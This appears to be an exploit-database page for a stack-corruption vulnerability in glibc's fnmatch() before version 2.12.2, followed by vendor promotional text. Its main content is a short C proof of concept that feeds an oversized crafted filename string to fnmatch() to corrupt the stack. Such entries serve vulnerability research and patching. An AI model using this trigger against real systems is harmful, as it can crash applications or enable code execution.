Lucene search
K

GNU glibc < 2.12.2 'fnmatch()' Function Stack Corruption Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

GNU glibc < 2.12.2 'fnmatch()' Function Stack Corruption Vulnerability, Stack-corruption in fnmatch() functio

Code

                                                /*
Source: http://www.securityfocus.com/bid/46563/info

GNU glibc is prone to a stack-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary machine code in the context of the application that uses the affected library. Failed exploit attempts will likely crash the application.

GNU glibc versions prior to 2.12.2 are vulnerable. */

#include &#60;err.h&#62;
#include &#60;fnmatch.h&#62;
#include &#60;locale.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, &#34;en_US.UTF8&#34;);
  if (argc &#60; 2) {
    errx(1, &#34;Missing argument.&#34;);
  }
  num_as = atoi(argv[1]);
  if (num_as &#60; 5) {
    errx(1, &#34;Need 5.&#34;);
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, &#34;malloc() failed.&#34;);
  }
  memset(p, &#39;A&#39;, num_as);
  p[num_as - 1] = &#39;\0&#39;;
  p[0] = &#39;f&#39;;
  p[1] = &#39;o&#39;;
  p[2] = &#39;o&#39;;
  p[3] = &#39;.&#39;;
  fnmatch(&#34;*.anim[1-9j]&#34;, p, 0);
  return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation